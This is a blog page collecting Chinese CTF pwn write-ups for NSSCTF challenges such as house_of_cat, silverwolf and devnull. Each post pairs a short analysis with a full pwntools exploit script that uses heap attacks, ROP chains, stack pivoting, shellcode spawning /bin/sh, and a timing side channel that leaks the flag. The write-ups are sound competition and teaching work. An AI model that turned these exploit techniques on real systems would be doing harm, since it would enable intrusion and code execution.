NSSCTF on RatherHard の Blog

NSSCTF-CISCN-2022-house_of_cat 题解

Sat, 07 Mar 2026 00:58:00 +0000

题目

题目链接

checksec

seccomp

只能 orw ，但是限制 read 的 fd 为 0 ，于是可以先 close(0) 再 orw

IDA

main

handle_command

parse_command

需要逆向解析出指令格式

execute_command

套一层指令解析的菜单题

add

只能申请 largerequest 0x420~~0x470 ，放入 largebin 的话， 0x420~~0x430 一个 bin ， 0x440~0x470 一个 bin

edit

edit 限制为两次，只能写 0x30

show

用于 leak

delete

有 UAF

攻击思路

先分析出命令格式： COMMAND | r00tQWB QWXFarg

然后发现要 login 成为管理员，再 cat 拿菜单

1
2


LOGIN | r00tQWB QWXFadmin
CAT | r00tQWB QWXF\xff

之后就是堆题

只能申请固定范围内的 largebin ，考察 largebin attack 技巧，而 edit_count 的限制让这题变得棘手

largebin attack 令 largebin1->bk_nextsize = target - 0x20 然后 free 一个小一点的 largebin2 进入同一个 bin 效果： target = largebin2

由于程序无法正常退出，我们需要利用两次 largebin attack ：一次劫持 stderr 结构体指针，把它覆盖成可控堆地址再在可控堆地址上写 fake IO_FILE 结构体；另一次利用错位篡改 topsize 为一个较小值，这样可以触发 sysmalloc 中的一个 __malloc_assert ，从而执行 fake stderr 中 house of apple2 流程。这两次攻击会耗尽 edit_count

在阅读 largebin 相关源码时我们注意到，一个 chunk 从 unsortedbin 转移到 largebin 时，如果它是最小的，那么就会触发 largebin attack 的核心流程：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


victim_index = largebin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;

fwd = bck;
bck = bck->bk;

victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;

注意到这里的 fwd->fd 即 largebin中最大的 chunk ，这意味着我们进行的两次 largebin attack 都需要劫持该 chunk 的 bk_nextsize

顺带提一个小技巧：在 leak libc 和 leak heap 前，我们已经布置好了堆上的分隔式结构防止发生合并，但是我们还需要借助 libc 和 heap 数据去构造 fake stderr , fake _wide_data , fake srop struct , rop chain ，而 edit 只允许写 0x30 的数据，因此我们可以把目标 chunk 给 delete 后再马上 add 回并写入伪造结构，这样不会有任何其他影响

完成 largebin attack 后，接下来我们选择 house of apple2 的 IO_FILE 调用链为：

1
2
3


__malloc_assert ---> _fxprintf ---> locked_vfxprintf ---> __vfprintf_internal ---> 
_IO_wfile_overflow ---> _IO_wdoallocbuf ---> _IO_WDOALLOCATE ---> 
*(fp->_wide_data->_wide_vtable + 0x68)(fp)

这里我根据自己的理解，把调用链分成了三层：

第一层是执行 fake stderr 中的 fake vtable 的虚表指针之前的部分，这部分除了正常 house of apple2 的 fake stderr 要伪造的内容外，还有一些额外的内容需要伪造，不属于 house of apple2 调用链

第二层属于 house of apple2 调用链，在跳转的 target rip 之前

第三层即跳转至 target rip

这里给出 roderick 大佬的 house of apple2 的构造方式：

_flags 设置为 ~(2 | 0x8 | 0x800) ，如果不需要控制 rdi ，设置为 0 即可；

vtable 设置为 _IO_wfile_jumps/_IO_wfile_jumps_mmap/_IO_wfile_jumps_maybe_mmap 地址（加减偏移），使其能成功调用 _IO_wfile_overflow 即可；

_wide_data 设置为可控堆地址 A ，即满足 *(fp + 0xa0) = A

_wide_data->_IO_write_base 设置为 0 ，即满足 *(A + 0x18) = 0

_wide_data->_IO_buf_base 设置为 0 ，即满足 *(A + 0x30) = 0

_wide_data->_wide_vtable 设置为可控堆地址 B ，即满足 *(A + 0xe0) = B

_wide_data->_wide_vtable->doallocate 设置为地址 C 用于劫持 RIP，即满足 *(B + 0x68) = C

对于本题，还应：

_lock 设置为可读写地址，不要影响到其他部分，即满足 *(fp + 0x88) = rw_addr

此外，还要注意一个细节：堆地址比写入地址低 0x10

到这里，伪造结构基本布置完毕，然后是 setcontext 环节

这里以 rdx 为基准，经动态调试得知， rdx 会被赋值为 _wide_data ，即 *(fp + 0xa0) ，这是在调用链第一层末尾完成的

这一步做完后，愉快地打 rop 就行啦

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

debug = 1

if debug:
	io = process('./house_of_cat_patched')
else:
	io = remote('node4.anna.nssctf.cn', 25341)

libc = ELF('./libc.so.6')

def login():
	io.sendlineafter(b'mew~~~~~~\n', b'LOGIN | r00tQWB QWXFadmin\x00')

def cat():
	io.sendlineafter(b'mew~~~~~~\n', b'CAT | r00tQWB QWXF\xff\x00')

def add(idx, size, content):
	cat()
	io.sendlineafter(b'choice:\n', b'1')
	io.sendlineafter(b'idx:\n', str(idx).encode())
	io.sendlineafter(b'size:\n', str(size).encode())
	io.sendafter(b'content:\n', content)

def delete(idx):
	cat()
	io.sendlineafter(b'choice:\n', b'2')
	io.sendlineafter(b'idx:\n', str(idx).encode())

def show(idx):
	cat()
	io.sendlineafter(b'choice:\n', b'3')
	io.sendlineafter(b'idx:\n', str(idx).encode())

def edit(idx, content):
	cat()
	io.sendlineafter(b'choice:\n', b'4')
	io.sendlineafter(b'idx:\n', str(idx).encode())
	io.sendafter(b'content:\n', content)

def malloc_assert(idx, size):
	cat()
	io.sendlineafter(b'choice:\n', b'1')
	io.sendlineafter(b'idx:\n', str(idx).encode())
	io.sendlineafter(b'size:\n', str(size).encode())
	
def final_attack_gen(heap):
	fake_io_base = heap + 0xb60
	pop_rax_ret = libc.address + 0x45eb0
	pop_rdi_ret = libc.address + 0x2a3e5
	pop_rsi_ret = libc.address + 0x2be51
	pop_rdx_pop_r12_ret = libc.address + 0x11f497
	syscall_ret = libc.address + 0x91396
	rop_chain = flat([
		3,
		pop_rdi_ret,
		0,
		syscall_ret,		# close(0)
		pop_rax_ret,
		2,
		pop_rdi_ret,
		fake_io_base + 0x100,
		syscall_ret,		# open("/flag")
		pop_rax_ret,
		0,
		pop_rdi_ret,
		0,
		pop_rsi_ret,
		fake_io_base + 0x400,
		pop_rdx_pop_r12_ret,
		0x100,
		0,
		syscall_ret,		# read(0, buf, 0x100)
		pop_rax_ret,
		1,
		pop_rdi_ret,
		1,
		pop_rsi_ret,
		fake_io_base + 0x400,
		pop_rdx_pop_r12_ret,
		0x100,
		0,
		syscall_ret		# write(1, buf, 0x100)
	])
	fake_io_and_rop = flat({
		0x78: heap,
		0x88: libc.sym['setcontext'] + 0x3d,
		0x90: fake_io_base + 0x110,
		0xC8: libc.sym['_IO_wfile_jumps'] - 0x20,
		0xf0: b'/flag\x00',
		0x168: libc.sym['setcontext'] + 0x3d,
		0x1a0: fake_io_base + 0x210,		# rsp
		0x1a8: pop_rax_ret,		# rip
		0x1e0: fake_io_base + 0x110,
		0x200: rop_chain
		},
		filler=b"\x00"
	)
	return fake_io_and_rop

def attack():
	login()

	add(0, 0x458, b'AAA')		# init
	add(1, 0x468, b'ZZZ')
	add(2, 0x448, b'BBB')
	add(3, 0x468, b'ZZZ')
	add(4, 0x438, b'CCC')

	delete(0)		# leak
	add(5, 0x468, b'ZZZ')
	show(0)
	io.recvuntil(b'Context:\n')
	fd = u64(io.recv(6).ljust(8, b'\x00'))
	libc.address = fd - 0x21a0e0
	log.info(f'libc = {hex(libc.address)}')
	stderr = libc.symbols['stderr']
	io.recv(10)
	fdn = u64(io.recv(6).ljust(8, b'\x00'))
	heap = fdn - 0x290
	log.info(f'heap = {hex(heap)}')

	delete(2)		# fix
	add(6, 0x448, final_attack_gen(heap))
	
	edit(0, p64(fd) + p64(fd) + p64(fdn) + p64(stderr - 0x20))		# largebin attack - stderr
	delete(6)
	add(7, 0x468, b'ZZZ')

	topsize_tar = heap + 0x2140 + 8 - 5		# largebin attack - topsize
	edit(0, p64(fd) + p64(fd) + p64(fdn) + p64(topsize_tar - 0x20))
	delete(4)
	gdb.attach(io)

	malloc_assert(8, 0x468)
	io.interactive()

attack()

# COMMAND | r00tQWB QWXFARG
# LOGIN | r00tQWB QWXFadmin
# CAT | r00tQWB QWXF\xff
# rsp 0xa0; rcx(rip) 0xa8;

NSSCTF-LitCTF-2025-master_of_rop 题解

Sat, 28 Feb 2026 19:02:00 +0000

题目

题目链接

攻击思路

没啥好说，就是 ret2gets

但是本地和远程的系统环境不同，导致 leak tls 后情况不一致

远程挺简单的， libc 与 tls 的偏移固定

但我的本地环境 leak 出的是与 ld 相关的地址，这就需要利用 ld 中的 gadget 再去 leak libc

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

debug = 0

if debug:
	io = process('./pwn_patched')
else:
	io = remote('node4.anna.nssctf.cn', 21460)

rw_addr = 0x404400
gets_plt = 0x401080
puts_plt = 0x401060
again_addr = 0x4011B1

def attack():
	payload = b'A' * 32 + p64(rw_addr) + p64(gets_plt) + p64(gets_plt) + p64(puts_plt) + p64(again_addr)
	io.sendlineafter(b'LitCTF2025!\n', payload)
	io.sendline(b'A' * 8 + b'\x00' * 6)
	io.sendline(b'A' * 4)
	io.recv(8)
	anon_base = u64(io.recv(6).ljust(8, b'\x00')) - 0x740
	log.info(f'anon_base = {hex(anon_base)}')
	ld_base = anon_base + 0xc000
	log.info(f'ld_base = {hex(ld_base)}')
	pop_rdi_pop_rbp_ret = ld_base + 0x23dcc
	payload = b'A' * 32 + p64(rw_addr) + p64(pop_rdi_pop_rbp_ret) + p64(anon_base + 0x6c0) + p64(rw_addr) + p64(puts_plt) + p64(again_addr)
	io.sendlineafter(b'LitCTF2025!\n', payload)
	libc_base = u64(io.recv(6).ljust(8, b'\x00')) - 0x20b680
	log.info(f'libc_base = {hex(libc_base)}')
	pop_rbx_ret = libc_base + 0x586e4
	pop_r12_ret = libc_base + 0x110951
	onegadget = libc_base + 0xef4ce
	payload = b'A' * 32 + p64(rw_addr) + p64(pop_rbx_ret) + p64(0) + p64(pop_r12_ret) + p64(0) + p64(onegadget)
	io.sendlineafter(b'LitCTF2025!\n', payload)
	io.interactive()

attack()

NSSCTF-CISCN-2021-silverwolf 题解

Thu, 26 Feb 2026 20:41:00 +0000

题目

题目链接

checksec

全开

IDA

main

菜单题

initbuf

有沙箱，需要 orw

allocate

同一时间只能掌控一个 chunk ，最大为 0x78

edit

show

用于 leak

delete

有 UAF

攻击思路

挺棘手的，这道题目没有任何 leak pie 和 leak stack 的手段，只能 leak libc 和 leak heap

利用 UAF 和 tcache 机制我们可以轻松 leak heap ，并把 tcache_pthread_struct 扔进 unsorted_bin 以 leak libc ，同时还可以保留 tcache_pthread_struct 的写入权限

劫持到 tcache_pthread_struct 后有一个好处：我们获得了 tcache_entries 的控制权，这意味着我们可以轻松指定下一次指定大小的 chunk 的分配地址，这有利于我们布置 rop 链以及接下来的 setcontext 技巧

由于我们没办法直接劫持程序流程，而且要实现 orw 的话直接劫持 free_hook 不够（参数个数原因），因此我们考虑栈迁移并构造 rop 链

我们将栈迁移的目标设置在堆上，而要实现栈迁移，我们可以将 free_hook 劫持为 setcontext + 0x35 ，传入的 rdi 为寄存器布局的地址，即可实现类似 srop 的效果

setcontext

这里第一个 rcx 即 rip

接下来我使用了一点小巧思：我们不直接写入 orw 的 rop 链，因为这样太长，需要分段写入，所以我们可以先调用 read syscall 在 rsp 的目标地址一次性写入 rop 链

因此我们需要操纵的寄存器有

1
2
3
4
5
6


rax = 0
rdi = 0
rsi = heap_addr + rop_offset
rdx = 0x400
rsp = heap_addr + rop_offset
rip = syscall_ret_addr

然后在新获得的写入机会中写入完整的 orw 攻击链即可拿到 flag

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

debug = 0

if debug:
	io = process('./silverwolf_patched')
else:
	io = remote('node4.anna.nssctf.cn', 22853)

def allocate(size):
	io.sendlineafter(b'Your choice: ', b'1')
	io.sendlineafter(b'Index: ', b'0')
	io.sendlineafter(b'Size: ', str(size).encode())

def edit(content):
	io.sendlineafter(b'Your choice: ', b'2')
	io.sendlineafter(b'Index: ', b'0')
	io.sendlineafter(b'Content: ', content)

def show():
	io.sendlineafter(b'Your choice: ', b'3')
	io.sendlineafter(b'Index: ', b'0')

def delete():
	io.sendlineafter(b'Your choice: ', b'4')
	io.sendlineafter(b'Index: ', b'0')

def exit():
	io.sendlineafter(b'Your choice: ', b'5')

def attack():
	allocate(0x78)
	delete()
	show()
	io.recvuntil(b'Content: ')
	heap_base = u64(io.recv(6).ljust(8, b'\x00')) - 0x11b0
	log.info(f'heap_base = {hex(heap_base)}')

	edit(p64(heap_base + 0x10) + p64(0))
	allocate(0x78)
	allocate(0x78)
	edit((p8(0) * 35 + p8(7)).ljust(0x40 - 1, p8(0)))
	delete()
	show()
	io.recvuntil(b'Content: ')
	libc_base = u64(io.recv(6).ljust(8, b'\x00')) - 0x3ebca0
	log.info(f'libc_base = {hex(libc_base)}')
	
	free_hook = 0x3ed8e8 + libc_base
	setcontext = 0x521b5 + libc_base
	xor_rax_ret = 0xb15a5 + libc_base
	pop_rdx_pop_rsi_ret = 0x130569 + libc_base
	syscall_ret = 0xd2745 + libc_base
	pop_rax_ret = 0x43ae8 + libc_base
	pop_rdi_ret = 0x215bf + libc_base
	stack_pivoting0 = 0x10000 + heap_base
	stack_pivoting1 = 0x10000 + heap_base + 0x70
	stack_pivoting2 = 0x10000 + heap_base + 0xa0
	edit(p8(0) * 0x40 + p64(free_hook - 0x8) + p64(stack_pivoting2) + p64(stack_pivoting1) + p64(stack_pivoting0))
	allocate(0x18)
	edit(b'/flag\x00\x00\x00' + p64(setcontext))
	log.info(f'free_hook_addr = {hex(free_hook)}')
	log.info(f'set_context_addr = {hex(setcontext)}')
	
	allocate(0x28)
	srop2 = flat([
		p64(heap_base + 0x58), 
		p64(syscall_ret)])
	edit(srop2)

	allocate(0x38)
	srop1 = flat([
		p64(heap_base + 0x58), 
		p64(0) * 2, 
		p64(0x400)])
	edit(srop1)

	allocate(0x48)
	delete()

	orw = flat([
		p64(pop_rdi_ret), 
		p64(free_hook - 0x08), 
		p64(pop_rdx_pop_rsi_ret), 
		p64(0), 
		p64(0), 
		p64(pop_rax_ret), 
		p64(2), 
		p64(syscall_ret), 
		p64(pop_rdi_ret), 
		p64(3), 
		p64(pop_rdx_pop_rsi_ret), 
		p64(0x100), 
		p64(heap_base + 0x300), 
		p64(xor_rax_ret), 
		p64(syscall_ret), 
		p64(pop_rdi_ret), 
		p64(1), 
		p64(pop_rdx_pop_rsi_ret), 
		p64(0x100), 
		p64(heap_base + 0x300), 
		p64(pop_rax_ret), 
		p64(1), 
		p64(syscall_ret)])
	io.send(orw)

	io.interactive()

attack()

NSSCTF-西湖论剑-2022-babycalc 题解

Wed, 25 Feb 2026 03:26:00 +0000

题目

题目链接

IDA

main

calc

有一个 buf 相关的 off_by_null 以及由 i 操纵的 off_by_one ，无其余栈溢出漏洞

因此考虑在原栈上做短程迁移以执行 rop 链

要解一个 16 元方程组，图中有解出结果

got

用于泄露 libc 版本

stack

攻击思路

在原栈上做短程迁移以执行 rop 链，注意要在 rop 链前面布置足够长的 ret sled 以提高命中率

在正式攻击前先利用 got 表中信息泄露 libc 版本并获取 libc

正式攻击在两次读入内解决，两次均使用短程迁移

第一次读入泄露 libc 基址，并返回到 main 的开始，这是因为我们需要连续两次 push rbp 支撑后面的连续两次 leave ret 使得栈迁移不会崩溃

第二次 ret2libc 执行 system("/bin/sh") 即可

运行时要多尝试几次

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

libcoffsetdict = dict()
libcrealdict = dict()

def libcdict_add(name, addr):
	if addr > 0x1000000:
		libcrealdict[name] = addr
		addr %= 0x1000
	libcoffsetdict[name] = addr

def getlibc(path):
	if not debug:
		return ELF(libcdb.search_by_symbol_offsets(libcoffsetdict))
	else:
		return ELF(path)

def initlibc(libc):
	if not debug:
		subprocess.run(['cp', libc.path, './libc.so.6'])
		subprocess.run(['pwninit', '--no-template'])

debug = 0

if debug:
	io = process('./pwn_patched')
else:
	io = remote('node4.anna.nssctf.cn', 23858)

ret = 0x400CA4
pop_rdi_ret = 0x400CA3
puts_plt = 0x4005D0
puts_got = 0x602018
# printf_got = 0x602020
# read_got = 0x602028
# __libc_start_main_got = 0x602030
pop_rbp_ret = 0x400C3D
again_addr = 0x400C1A

def attack():
	calc = p8(19) + p8(36) + p8(53) + p8(70) + p8(55) + p8(66) + p8(17) + p8(161) + p8(50) + p8(131) + p8(212) + p8(101) + p8(118) + p8(199) + p8(24) + p8(3)
	rop = p64(ret) * 21
	rop += p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(again_addr)
	# rop += p64(pop_rdi_ret) + p64(printf_got) + p64(puts_plt)
	# rop += p64(pop_rdi_ret) + p64(read_got) + p64(puts_plt)
	# rop += p64(pop_rdi_ret) + p64(__libc_start_main_got) + p64(puts_plt)
	payload = (((bytes(f'{0x18}\x00', 'utf-8').ljust(0x8, b'A') + rop).ljust(0xd0, b'A') + calc).ljust(0xfc, b'A') + p16(0x38)).ljust(0x100, b'\x00')
	io.sendafter(b'number-1:', payload)
	io.recvuntil(b'good done\n')
	puts = u64(io.recv(6).ljust(8, b'\x00'))
	# io.recvuntil(b'\n')
	# printf = u64(io.recv(6).ljust(8, b'\x00'))
	# io.recvuntil(b'\n')
	# read = u64(io.recv(6).ljust(8, b'\x00'))
	# io.recvuntil(b'\n')
	# __libc_start_main = u64(io.recv(6).ljust(8, b'\x00'))
	# libcdict_add('puts', puts)
	# libcdict_add('printf', printf)
	# libcdict_add('read', read)
	# libcdict_add('__libc_start_main', __libc_start_main)
	# libc = getlibc('./libc.so.6')
	# initlibc(libc)
	libc = ELF('./libc.so.6')
	libc_base = puts - libc.symbols['puts']
	log.info(f'libc_base = {hex(libc_base)}')
	system_addr = libc_base + libc.symbols['system']
	bin_sh = libc_base + next(libc.search('/bin/sh'))
	rop = p64(ret) * 22
	rop += p64(pop_rdi_ret) + p64(bin_sh) + p64(system_addr)
	payload = (((bytes(f'{0x18}\x00', 'utf-8').ljust(0x8, b'A') + rop).ljust(0xd0, b'A') + calc).ljust(0xfc, b'A') + p16(0x38)).ljust(0x100, b'\x00')
	io.sendafter(b'number-1:', payload)
	io.interactive()

attack()

NSSCTF-GHCTF-2025-ret2libc2 题解

Wed, 25 Feb 2026 00:21:00 +0000

题目

题目链接

checksec

vmmap

这里的 0x3fe000 在远端貌似不存在，被坑了，，，

IDA

main

func

栈溢出漏洞

got

onegadget

需要用 gadget 操纵寄存器

攻击思路

第一次栈迁移到 got 上 leak 出 printf 的地址以获取 libc 基址

第二次栈迁移为 onegadget 执行提供栈空间

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36


from pwn import *
from onegadget_selector import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

debug = 0

if debug:
	io = process('./pwn_patched')
else:
	io = remote('node1.anna.nssctf.cn', 29246)

again_addr = 0x401223
got_hijack = 0x404030
rw_addr = 0x404300
pop_rsi_ret = 0x2be51
pop_rdx_ret = 0x170337

def attack():
	payload = b'A' * 0x30 + p64(got_hijack) + p64(again_addr)
	io.sendafter(b'magic\n', payload)
	printf = u64(io.recv(6).ljust(8, b'\x00'))
	log.info(f'printf = {hex(printf)}')
	libc = ELF('./libc.so.6')
	libc_base = printf - libc.symbols['printf']
	log.info(f'libc_base = {hex(libc_base)}')
	onegadget = select_onegadgets(libc.path) + libc_base
	pop_rsi_ret_addr = pop_rsi_ret + libc_base
	pop_rdx_ret_addr = pop_rdx_ret + libc_base
	payload = b'A' * 0x30 + p64(rw_addr) + p64(pop_rsi_ret_addr) + p64(0) + p64(pop_rdx_ret_addr) + p64(0) + p64(onegadget)
	io.sendafter(b'magic\n', payload)
	io.interactive()

attack()

NSSCTF-强网杯-2022-devnull 题解

Tue, 24 Feb 2026 03:21:00 +0000

题目

题目链接

vmmap

0x3fe000 处为 rw

之后 0x404000 会变成只读

IDA

main

vuln

fgets 最多读取 n-1 个字节，最后一个字节会被设置为 \x00

有关于 fgets 的 off_by_null ，可将 fd 设置为 0 ，为标准输入流的文件描述符，从而启用下方的 read

close(1) 会关闭标准输出流，之后不会有回显，但标准错误流还在

mywrite

mprotect

设置 0x404000 为只读

关于 mprotect 有一个坑：其地址必须对齐 0x1000

gadget

用于操纵 rax

攻击思路

栈迁移难度不高

考虑用 mprotect 开 rwx 区域用于写入 shellcode ，但这需要将 rdx 设置为 7 ，这一点利用 mywrite("Thanks\n"); 刚好可以实现

然后利用 gadget 操纵 rax 以间接操纵 rdi 即可完成 mprotect 的调用（注意对齐 0x1000），然后写入 shellcode 即可

吐槽

tnnd 为什么不给 libc 版本，，，本地调试的时候 close 把我的 rdx 吃掉了，没办法在设置为 7 的情形下进入 mprotect ，所以这题我本地过不了

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

debug = 1

if debug:
	io = process('./devnull')
else:
	io = remote('node4.anna.nssctf.cn', 26863)

mprotect_addr = 0x4012D0
rw_addr = 0x3ff000 - 0x18
leave_ret = 0x401511
mov_rax_rbp__0x18 = 0x401350

def attack():
	payload = b'A' * 0x20
	gdb.attach(io)
	io.sendafter(b'filename\n', payload)
	payload = b'A' * 0x14 + p64(rw_addr) + p64(rw_addr) + p64(leave_ret)
	io.sendafter(b'discard\n', payload)
	shellcode = f'push 59; pop rax; push {hex(rw_addr + 0x10)}; pop rdi; push 0; pop rsi; push 0; pop rdx; syscall;'
	payload = p64(rw_addr + 0x18) + p64(mov_rax_rbp__0x18) + b'/bin/sh\x00' + p64(rw_addr) + p64(mprotect_addr) + p64(rw_addr) + p64(rw_addr + 0x38) + asm(shellcode)
	io.sendafter(b'data\n', payload.ljust(0x60, b'\x00'))
	io.interactive()

attack()

最后记得用 cat flag >&2 读取 flag ，因为标准输出流被关了，我们需要用管道将输出发送到标准错误流

NSSCTF-GHCTF-2025-真会布置栈吗？题解

Mon, 23 Feb 2026 22:50:00 +0000

题目

题目链接

checksec

vmmap

没有 rwx 段， ret2shellcode 比较困难

IDA

start

泄露了栈地址，有栈溢出

gadget

xchg 是交换指令

攻击思路

其实就是 ret2syscall ，但是在栈的布局上要下点功夫，可以在一次输入内就完成攻击

布局思路：（其实就是利用 dispatcher 的特性让 rbx 拥有类似 rip 和 rsp 结合体的功能）

1
2
3
4
5
6
7


 syscall_addr
 dispatcher xchg_addr
r15 dispatcher xor_rsi_addr
r13 print1 59 xor_rdx_addr
rbx rsp↑ [stack]---->[ ]
rdi print2 [stack]---->"/bin/sh\x00"
rsi print3 gadget

整合一下：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


 syscall_addr rsp+0x38
 xchg_addr rsp+0x30
 xor_rsi_addr rsp+0x28
 xor_rdx_addr rsp+0x20
 "/bin/sh\x00" rsp+0x18
 dispatcher rsp+0x10
r15 dispatcher rsp+0x8
r13 print1 59 rsp+0x0
rbx rsp↑ rsp+0x18
rdi print2 rsp+0x18
rsi print3 gadget

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

debug = 0

if debug:
	io = process('./attachment')
else:
	io = remote('node6.anna.nssctf.cn', 28007)

gadget = 0x401017
dispatcher = 0x401011
exchange = 0x40100C
xor_rdx = 0x401021
xor_rsi = 0x401027
syscall = 0x401077

def attack():
	io.recvuntil(b'Y. )\n')
	stack = u64(io.recv(8))
	log.info(f'stack = {hex(stack)}')
	payload = flat(p64(gadget), 
			p64(stack + 0x18), 
			p64(stack + 0x18), 
			p64(59),
			p64(dispatcher), 
			p64(dispatcher), 
			b'/bin/sh\x00', 
			p64(xor_rdx), 
			p64(xor_rsi), 
			p64(exchange), 
			p64(syscall))
	io.sendafter(b'>> ', payload)
	io.interactive()

attack()

NSSCTF-CISCN-2022-login_normal 题解

Wed, 11 Feb 2026 21:12:00 +0000

题目

题目链接

checksec

IDA

main

vuln

root

shellcode

有 shellcode 执行

攻击思路

读懂代码后发现难点主要在构造 printable shellcode 上

今天状态不好，没有深入研究，用的 ae64 ，之后会自己试着搓一个看看

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23


from pwn import *
from ae64 import AE64

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

debug = 1

if debug:
	io = process('./service')
else:
	io = remote('node5.buuoj.cn', 26980)

def attack():
	payload = b'opt:1\nmsg:ro0t \n\n'
	io.sendafter(b'>>> ', payload)
	sc = AE64().encode(asm(shellcraft.sh()), 'rdx')
	payload = b'opt:2\nmsg:' + sc + b' \n\n'
	io.sendafter(b'>>> ', payload)
	io.interactive()

attack()

NSSCTF-HNCTF-2022-ret2shellcode_level2 题解

Fri, 06 Feb 2026 20:18:00 +0000

题目

题目链接

checksec

IDA

bss 段为 rwx ， buff 在 bss 段上，但是注意 strcpy 会被 \x00 截断，因此写入的 shellcode 不能有 \x00

白名单沙箱：仅允许 open 、 read 、 mmap 系统调用

没有 write ，因此考虑侧信道爆破，再加一点小巧思避免 \x00 出现即可

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92


from pwn import *

context.log_level = 'info'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

debug = 0

def conn():
	if debug:
		return process('./ret2shellcode_level2')
	else:
		return remote('node5.anna.nssctf.cn', 28199)

rwx_base = 0x404060
again_addr = 0x40132B

def scgen(idx, char):
	sth = f'mov cl, 0x{idx:x}'
	sc = asm(f'''
		xor rdi, rdi
		xor rsi, rsi
		xor rdx, rdx
		 
		xor rax, rax
		add al, 0x67
		shl rax, 8
		add al, 0x61
		shl rax, 8
		add al, 0x6c
		shl rax, 8
		add al, 0x66
		shl rax, 8
		add al, 0x2f
		push rax
		push rsp
		pop rdi
		xor rax, rax
		add al, 2
		syscall

		xor rdi, rdi
		add dil, 3
		push rsp
		pop rsi
		xor rdx, rdx
		add dl, 0x7f
		xor rax, rax
		syscall

		xor rcx, rcx
		{'' if idx == 0 else sth}
		mov al, [rsp + rcx]
		cmp al, 0x{char:x}
		LOOP:
		je LOOP
	''')
	return sc

def test(idx, char):
	io = conn()
	sc = scgen(idx, char).ljust(0x100, b'\x00')
	payload = sc + p64(rwx_base + 0x400) + p64(rwx_base)
	io.sendline(payload)
	start_time = time.time()
	io.recvall(timeout = 2)
	end_time = time.time()
	io.close()
	return end_time - start_time

def attack():
	flag = ''
	idx = len(flag)
	while True:
		for char in range(32, 127):
			try:
				if test(idx, char) > 1.7:
					print(f'Found char at {idx}: {chr(char)} | Current Flag: {flag}')
					flag += chr(char)
					if chr(char) == '}':
						return flag
					break
				else:
					print(f'Test char failed at {idx}: {chr(char)} | Current Flag: {flag}')
			except Exception as e:
				char -= 1
				print(f'Error:{e}')
				continue
		idx += 1
	return flag

print(f"Flag: {attack()}")

NSSCTF on RatherHard の Blog

NSSCTF-CISCN-2022-house_of_cat 题解

题目

checksec

seccomp

IDA

main

handle_command

parse_command

execute_command

menu

add

edit

show

delete

攻击思路

exp

